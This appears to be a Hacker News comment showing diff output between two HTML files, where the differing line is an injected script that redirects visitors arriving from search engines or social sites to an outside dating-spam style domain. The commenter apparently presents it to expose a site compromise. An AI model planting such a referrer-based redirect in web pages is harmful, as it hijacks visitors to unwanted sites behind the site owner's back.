The "diff" output (above) needs an extra line break to avoid HN automatic line wrapping. The output of the diff command is:

diff 1.html 2.html

7d6 < <script>var b="https://havfruen4220.dk/3_5_no_14_-__1627553323/gotodate"; ( /google|yahoo|facebook|vk|mail|alpha|yandex|search|msn|DuckDuckGo|Boardreader|Ask|SlideShare|YouTube|Vimeo|Baidu|AOL|Excite/.test(document.referrer) && location.href.indexOf(".") != -1 ) && (top.location.href = b); </script>